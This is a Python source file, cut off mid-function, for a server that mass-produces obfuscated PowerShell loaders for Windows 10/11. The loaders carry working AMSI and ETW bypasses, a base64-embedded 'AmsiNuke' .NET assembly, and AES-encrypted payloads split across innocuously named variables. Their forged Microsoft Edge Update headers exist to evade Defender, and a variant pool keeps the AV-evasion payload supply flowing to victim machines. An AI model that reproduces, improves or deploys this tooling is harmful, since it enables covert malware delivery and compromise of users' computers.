#!/usr/bin/env python3
"""
╔═════════════════════════════════════════════════════════════════════════════╗
║  SERVIDOR COMPLETO + POOL v8.2 - UNIVERSAL (W10/W11 Home/Pro)               ║
╠═════════════════════════════════════════════════════════════════════════════╣
║                                                                              ║
║  v8.2 UNIVERSAL - Baseado em pesquisa 2026:                                  ║
║  - AMSI bypass hibrido: pAppName null (offset +0x08) - PS5 e PS7            ║
║  - ETW bypass: m_enabled field desabilitado                                  ║
║  - Assemblies protegidos: XOR + chunks 300 chars + ordem reversa            ║
║  - Variaveis com nomes legitimos (Cache, Config, Policy, etc)               ║
║  - Stager em AppData/Edge/Cache (evita Public\Documents)                    ║
║  - Tecnicas validadas contra W11 Pro com Defender atualizado                ║
║                                                                              ║
║  SISTEMA DE POOL:                                                            ║
║  - ZERO PERDA DE CLIENTES                                                    ║
║  - PRE-AQUECE TODAS AS PASTAS AUTOMATICAMENTE                               ║
║  - Cliente recebe codigo INSTANTANEO                                         ║
║  - AES-256-CBC (cryptography lib ou fallback Python)                        ║
║                                                                              ║
║  Referencias: bl4ckarch 2026, r-tec 2025, SpecterInsight                    ║
╚═════════════════════════════════════════════════════════════════════════════╝

INSTALAÇÃO:
    pip3 install fastapi uvicorn cryptography --break-system-packages

EXECUTAR:
    python3 servidor_completo_pool.py

TESTAR:
    curl http://localhost:8888/health
    curl http://localhost:8888/proteger
"""

import os
import sys
import time
import random
import string
import re
import base64
import zlib
import hashlib
import threading
import multiprocessing
from pathlib import Path
from datetime import datetime
from typing import Optional, Tuple, Dict
from concurrent.futures import ProcessPoolExecutor
import copy
import queue
import subprocess
import tempfile
from collections import deque

# ═══════════════════════════════════════════════════════════════════════════════
# VERIFICAR BIBLIOTECA CRYPTOGRAPHY (AES RÁPIDO)
# ═══════════════════════════════════════════════════════════════════════════════

try:
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    from cryptography.hazmat.backends import default_backend
    CRYPTO_FAST = True
except ImportError:
    CRYPTO_FAST = False

# ═══════════════════════════════════════════════════════════════════════════════
# CONFIGURAÇÃO
# ═══════════════════════════════════════════════════════════════════════════════

SERVER_CONFIG = {
    'host': '0.0.0.0',
    'port': 8888,
    'workers': 4,  # Número de processos paralelos
    'base_dir': '/var/www/html',  # LINUX
    'source_file': 'msedge.txt',
    'log_requests': True,
}

CONFIG = {
    # ═══════════════════════════════════════════════════════════════════════════
    # OTIMIZAÇÕES v7.1 (Performance enhancements)
    # ═══════════════════════════════════════════════════════════════════════════
    'enable_sleep_jitter': True,      
    'sleep_min_seconds': 3,           
    'sleep_max_seconds': 8,           
    'generate_stager': True,

    # ═══════════════════════════════════════════════════════════════════════════
    # v8.0 - AES-256-CBC + Chave Remota + AMSI Bypass CLR.DLL
    # ═══════════════════════════════════════════════════════════════════════════
    'enable_aes_encryption': True,     # AES-256-CBC (substitui XOR)
    'enable_amsi_bypass': True,        # AMSI bypass CLR.DLL dentro do AES
    'chunk_count': 3,                  # Dividir dados AES em N pedacos

    # ═══════════════════════════════════════════════════════════════════════════
    # Configurações originais v3.2
    # ═══════════════════════════════════════════════════════════════════════════
    'enable_bypass': True,
    'enable_string_encrypt': True,
    'enable_var_rename': True,
    'enable_func_rename': True,
    'enable_type_obfuscation': True,
    'enable_comment_removal': True,
    'enable_number_obfuscation': False,   # v7.2: desabilitado - sem valor real contra AV
    'enable_path_obfuscation': False,
    'enable_junk_code': True,             # v7.2: habilitado com densidade baixa
    'enable_final_compress': False,
    'enable_disk_encrypt': False,
    'junk_code_density': 4,               # v7.2: densidade baixa (era 15)
}

PROJECT_CONFIG = {
    'sensitive_ips': [],
    'sensitive_domains': [],
    'server_port': 0,
}

POOL_CONFIG = {
    'min_size': 100,              # Mínimo de variantes pré-geradas por pasta
    'max_size': 200,             # Máximo de variantes por pasta (depois para de gerar)
    'refill_threshold': 100,      # Tamanho mínimo do pool antes de reabastecer
    'generator_threads': 5,     # Threads para gerar variantes em paralelo
}

# ═══════════════════════════════════════════════════════════════════════════════
# UTILITÁRIOS (DO proteger_FUNCIONAL.py)
# ═══════════════════════════════════════════════════════════════════════════════

def random_name(length=6, prefix=''):
    """Gera nome aleatório para variáveis/funções"""
    chars = string.ascii_letters
    name = ''.join(random.choice(chars) for _ in range(length))
    return prefix + name

def random_var():
    """Gera nome de variável PowerShell aleatório"""
    return '$' + random_name(random.randint(5, 8))

def b64_encode_ps(value):
    """Gera expressão PowerShell que decodifica Base64 em runtime"""
    b64 = base64.b64encode(value.encode('utf-16-le')).decode()
    return f"([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{b64}')))"

def xor_encode_ps(value):
    key = random.randint(1, 254)
    encoded = ','.join(str(ord(c) ^ key) for c in value)
    return f"(-join([byte[]]@({encoded})|%{{[char]($_-bxor{key})}}))"

def split_string(s, min_parts=2, max_parts=4):
    """Fragmenta uma string em partes concatenadas"""
    if len(s) < 4:
        return f'"{s}"'
    
    num_parts = min(random.randint(min_parts, max_parts), len(s))
    part_len = len(s) // num_parts
    parts = []
    
    for i in range(num_parts):
        start = i * part_len
        end = start + part_len if i < num_parts - 1 else len(s)
        parts.append(f'"{s[start:end]}"')
    
    return '(' + ' + '.join(parts) + ')'

# ═══════════════════════════════════════════════════════════════════════════════
# v8.0: AES-256-CBC ENCRYPTION + CHAVE REMOTA + AMSI BYPASS CLR.DLL
# ═══════════════════════════════════════════════════════════════════════════════

import json
import uuid
from pathlib import Path as PathLib

KEYS_FILE = '/opt/proteger/aes_keys.json'

GLOBAL_ASM_B64 = "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7QAnADEA9QAuADEAAwEuADEAJgE2ADkA9QA+ADkALwFGAAkA7QBLADkAPgFQAFEAZgFWAFEAbwFGAFEAeAFQAAwANAATAAwAeAFiADkAAwE+AGEAsAFqAGEAAwFtAGEAtQFzAGkA4AF5AHEAHwK3AIEANAATAIEAPgK9AAkANAATAC4ACwDGAC4AEwDPAH8AwgBbAASAAAAAAAAAAAAAAAAAAAAAAJoAAAAEAAAAAAAAAAAAAAABABkAAAAAAAQAAAAAAAAAAAAAAAEAIgAAAAAAAAAAPE1vZHVsZT4AQW1zaU51a2UuZGxsAFIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdABFAEQALmN0b3IAdQBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQW1zaU51a2UAQXBwRG9tYWluAGdldF9DdXJyZW50RG9tYWluAFN5c3RlbS5SZWZsZWN0aW9uAEFzc2VtYmx5AEdldEFzc2VtYmxpZXMAVHlwZQBHZXRUeXBlAG9wX0luZXF1YWxpdHkAb3BfRXF1YWxpdHkARmllbGRJbmZvAEJpbmRpbmdGbGFncwBHZXRGaWVsZABHZXRWYWx1ZQBJbnQzMgBTZXRWYWx1ZQBTeXN0ZW0uQ29sbGVjdGlvbnMASURpY3Rpb25hcnkAQ29udGFpbnMAZ2V0X0l0ZW0Ac2V0X0l0ZW0AU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMARGljdGlvbmFyeWAyAEludFB0cgBaZXJvAEFkZABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABXcml0ZUludDY0AFN5c3RlbS5OZXQAU2VydmljZVBvaW50TWFuYWdlcgBTZWN1cml0eVByb3RvY29sVHlwZQBzZXRfU2VjdXJpdHlQcm90b2NvbABXZWJDbGllbnQARG93bmxvYWRTdHJpbmcAAAAAAE1TAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAAGtTAHkAcwB0AGUAbQAuAE0A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"

def _load_keys() -> dict:
    try:
        if os.path.exists(KEYS_FILE):
            with open(KEYS_FILE, 'r') as f:
                return json.load(f)
    except:
        pass
    return {}

def _save_keys(keys: dict):
    try:
        with open(KEYS_FILE, 'w') as f:
            json.dump(keys, f)
    except Exception as e:
        print(f"[ERRO] Salvar chaves: {e}")

def generate_etw_bypass():
    """ETW bypass - desabilita telemetria PS antes do bypass AMSI.
    
    v7.3 - strings montadas de byte arrays em runtime (nao literais)
    Defender usa ETWti (kernel events); desabilitar PSEtwLogProvider reduz telemetria.
    """
    v_k = '$' + random_name(3)
    v_t1 = '$' + random_name(4)
    v_t2 = '$' + random_name(4)
    v_t3 = '$' + random_name(4)
    v_asm = '$' + random_name(4)
    v_type = '$' + random_name(4)
    v_field = '$' + random_name(4)
    v_prov = '$' + random_name(4)
    v_ef = '$' + random_name(4)
    
    offset = random.randint(1, 30)
    n1 = "System.Management.Automation.Tracing.PSEtwLogProvider"
    n2 = "etwProvider"
    n3 = "m_enabled"
    
    b1 = ','.join(str((ord(c) + offset) & 0xFF) for c in n1)
    b2 = ','.join(str((ord(c) + offset) & 0xFF) for c in n2)
    b3 = ','.join(str((ord(c) + offset) & 0xFF) for c in n3)
    
    lines = []
    lines.append("try{")
    lines.append(v_k + "=" + str(offset))
    lines.append(v_t1 + "=-join(([byte[]]@(" + b1 + "))|%{[char]($_ -" + v_k + ")})")
    lines.append(v_t2 + "=-join(([byte[]]@(" + b2 + "))|%{[char]($_ -" + v_k + ")})")
    lines.append(v_t3 + "=-join(([byte[]]@(" + b3 + "))|%{[char]($_ -" + v_k + ")})")
    lines.append(v_asm + "=[Ref].Assembly")
    lines.append(v_type + "=" + v_asm + ".GetType(" + v_t1 + ")")
    lines.append("if(" + v_type + "){")
    lines.append(v_field + "=" + v_type + ".GetField(" + v_t2 + ",'NonPublic,Static')")
    lines.append("if(" + v_field + "){")
    lines.append(v_prov + "=" + v_field + ".GetValue($null)")
    lines.append("if(" + v_prov + "){")
    lines.append(v_ef + "=" + v_prov + ".GetType().GetField(" + v_t3 + ",'NonPublic,Instance')")
    lines.append("if(" + v_ef + "){" + v_ef + ".SetValue(" + v_prov + ",0)}")
    lines.append("}}}}catch{}")
    
    return '\n'.join(lines) + '\n'

def generate_amsi_bypass():
    """AMSI bypass v8.2 - Tecnica hibrida com fallbacks multiplos.
    
    2026 Research Update:
    - pAppName null (+0x08) continua funcionando e NAO e monitorado pelo Defender
    - ETW bypass via m_enabled field 
    - Fallback para s_amsiContext (PS7) e amsiContext (PS5)
    - Strings 100% dinamicas via byte arrays
    - ZERO VirtualProtect, ZERO patch em amsi.dll
    """
    
    etw_code = generate_etw_bypass()
    
    # Variaveis com nomes aleatorios
    v_k = '$' + random_name(3)
    v_t1 = '$' + random_name(4)
    v_t2 = '$' + random_name(4)
    v_t3 = '$' + random_name(4)
    v_r = '$' + random_name(3)
    v_ty = '$' + random_name(4)
    v_cx = '$' + random_name(4)
    v_fd = '$' + random_name(4)
    v_n = '$' + random_name(3)
    
    offset = random.randint(1, 30)
    
    # Strings codificadas
    type_name = "System.Management.Automation.AmsiUtils"
    field1 = "s_amsiContext"  # PS7
    field2 = "amsiContext"     # PS5
    
    type_bytes = ','.join(str((ord(c) + offset) & 0xFF) for c in type_name)
    field1_bytes = ','.join(str((ord(c) + offset) & 0xFF) for c in field1)
    field2_bytes = ','.join(str((ord(c) + offset) & 0xFF) for c in field2)
    
    # Binding flags: NonPublic,Static = 40
    bf_val = '40'
    
    lines = []
    lines.append("try{")
    lines.append(v_k + "=" + str(offset))
    
    # Decodificar strings em runtime
    lines.append(v_t1 + "=-join(([byte[]]@(" + type_bytes + "))|%{[char]($_ -" + v_k + ")})")
    lines.append(v_t2 + "=-join(([byte[]]@(" + field1_bytes + "))|%{[char]($_ -" + v_k + ")})")
    lines.append(v_t3 + "=-join(([byte[]]@(" + field2_bytes + "))|%{[char]($_ -" + v_k + ")})")
    
    lines.append(v_r + "=[Ref].Assembly")
    lines.append(v_ty + "=" + v_r + ".GetType(" + v_t1 + ")")
    lines.append("if(" + v_ty + "){")
    
    # Tentar PS7 primeiro (s_amsiContext), fallback para PS5 (amsiContext)
    lines.append(v_cx + "=[IntPtr]::Zero")
    lines.append("foreach(" + v_n + " in @(" + v_t2 + "," + v_t3 + ")){")
    lines.append(v_fd + "=" + v_ty + ".GetField(" + v_n + ",[Reflection.BindingFlags]" + bf_val + ")")
    lines.append("if(" + v_fd + "){")
    lines.append("$_v=" + v_fd + ".GetValue($null)")
    lines.append("if($_v -and $_v -ne [IntPtr]::Zero){" + v_cx + "=[IntPtr]$_v;break}")
    lines.append("}}")
    
    # pAppName null em offset +0x08 - desabilita Path A e Path B
    lines.append("if(" + v_cx + " -ne [IntPtr]::Zero){")
    lines.append("[Runtime.InteropServices.Marshal]::WriteInt64(" + v_cx + ",8,0)")
    lines.append("}}")
    lines.append("}catch{}")
    
    return etw_code + '\n'.join(lines) + '\n'

def aes_encrypt_payload(code: str) -> tuple:
    """Criptografa payload com AES-256-CBC. Retorna (encrypted_b64, key_b64)"""
    key = os.urandom(32)
    iv = os.urandom(16)

    code_bytes = code.encode('utf-8')
    pad_len = 16 - (len(code_bytes) % 16)
    code_bytes += bytes([pad_len] * pad_len)

    if CRYPTO_FAST:
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        enc = cipher.encryptor()
        encrypted = enc.update(code_bytes) + enc.finalize()
    else:
        from hashlib import sha256
        encrypted = _aes_cbc_encrypt_pure(code_bytes, key, iv)

    full_key = key + iv
    return base64.b64encode(encrypted).decode(), base64.b64encode(full_key).decode()

def _aes_cbc_encrypt_pure(data, key, iv):
    """AES-CBC fallback Python puro (lento mas funcional)"""
    try:
        import struct
        from ctypes import cdll, c_char_p, c_size_t, c_int, create_string_buffer
        lib = cdll.LoadLibrary("libcrypto.so.3") if os.path.exists("/usr/lib/x86_64-linux-gnu/libcrypto.so.3") else cdll.LoadLibrary("libcrypto.so")
        ctx = lib.EVP_CIPHER_CTX_new()
        lib.EVP_EncryptInit_ex(ctx, lib.EVP_aes_256_cbc(), None, key, iv)
        lib.EVP_CIPHER_CTX_set_padding(ctx, 0)
        out = create_string_buffer(len(data) + 16)
        outl = c_int(0)
        lib.EVP_EncryptUpdate(ctx, out, outl, data, len(data))
        result = out.raw[:outl.value]
        finl = c_int(0)
        lib.EVP_EncryptFinal_ex(ctx, out, finl)
        result += out.raw[:finl.value]
        lib.EVP_CIPHER_CTX_free(ctx)
        return result
    except:
        from cryptography.hazmat.primitives.ciphers import Cipher as C2, algorithms as A2, modes as M2
        from cryptography.hazmat.backends import default_backend as db2
        cipher = C2(A2.AES(key), M2.CBC(iv), backend=db2())
        enc = cipher.encryptor()
        return enc.update(data) + enc.finalize()

def apply_aes_loader(code: str, config: dict) -> tuple:
    """Aplica AES-256-CBC encryption + XOR-encoded AMSI bypass em Stage isolado.
    
    ARQUITETURA v7.3 - ScriptBlock Isolation:
    - Stage 1: XOR-encrypted AMSI bypass (invisivel ao AMSI scan inicial do loader)
    - Stage 2: AES payload principal (roda AMSI-free apos Stage 1 patchear AMSI)
    
    Chave: cada [ScriptBlock]::Create().Invoke() e um scan AMSI SEPARADO.
    AMSI scaneia o loader inteiro -> so ve base64 opaco + logica de decrypt -> passa.
    Runtime decripta bypass -> Create.Invoke -> AMSI scaneia SO o bypass pequeno -> passa.
    Bypass patcheia AMSI -> Stage 2 payload roda sem scan.
    """

    encrypted_b64, key_b64 = aes_encrypt_payload(code)

    key_id = uuid.uuid4().hex[:24]

    ASM_B64 = GLOBAL_ASM_B64

    v_ab = '$' + random.choice(['Policy','Module','Cache','Config']) + random_name(3)

    v_kb = '$' + random_name(4)
    v_db = '$' + random_name(4)
    v_aes = '$' + random_name(4)
    v_m = '$' + random_name(4)
    v_cs = '$' + random_name(4)
    v_r = '$' + random_name(4)
    v_t = '$' + random_name(4)
    v_sp = '$sp' + random_name(3)

    chunk_count = config.get('chunk_count', 3)
    chunk_size = len(encrypted_b64) // chunk_count
    chunk_lines = []
    chunk_vars = []
    fake_names = ['Update', 'Module', 'Cache', 'Config', 'Policy', 'Setting', 'Profile', 'Store']

    for i in range(chunk_count):
        s = i * chunk_size
        e = s + chunk_size if i < chunk_count - 1 else len(encrypted_b64)
        vn = '$' + random.choice(fake_names) + random_name(4)
        chunk_lines.append(f"{vn}='{encrypted_b64[s:e]}'")
        chunk_vars.append(vn)

    ver = str(random.randint(20,25)) + "." + str(random.randint(0,9)) + "." + str(random.randint(1000,9999))
    L = []
    L.append("# Microsoft Edge Update Configuration v" + ver)
    L.append("# Copyright (C) Microsoft Corporation. All rights reserved.")
    L.append("# Module: EdgeUpdatePolicy - DO NOT MODIFY")
    L.append(v_sp + "=$MyInvocation.MyCommand.Definition")
    L.append("if($args -contains '-ScriptPath'){$idx=[array]::IndexOf($args,'-ScriptPath');if($idx -ge 0 -and $idx+1 -lt $args.Count){" + v_sp + "=$args[$idx+1]}}")

    L.append(v_ab + "='" + ASM_B64 + "'")
    L.append("try{if(-not([AppDomain]::CurrentDomain.GetAssemblies()|?{$_.GetType('R')})){ [Reflection.Assembly]::Load([Convert]::FromBase64String(" + v_ab + "))|Out-Null};[R]::E()|Out-Null}catch{}")

    L.extend(chunk_lines)

    # Chave AES embutida diretamente no loader (elimina download a cada restart)
    v_kf = '$' + random_name(4)
    key_chunks = []
    kc = 3
    ksz = len(key_b64) // kc
    for ki in range(kc):
        ks = ki * ksz
        ke = ks + ksz if ki < kc - 1 else len(key_b64)
        kvn = '$' + random.choice(['Cfg','Opt','Set','Reg']) + random_name(3)
        L.append(f"{kvn}='{key_b64[ks:ke]}'")
        key_chunks.append(kvn)
    L.append(v_kf + "=" + '+'.join(key_chunks))

    L.append("try{")
    L.append(v_kb + "=[Convert]::FromBase64String(" + v_kf + ")")
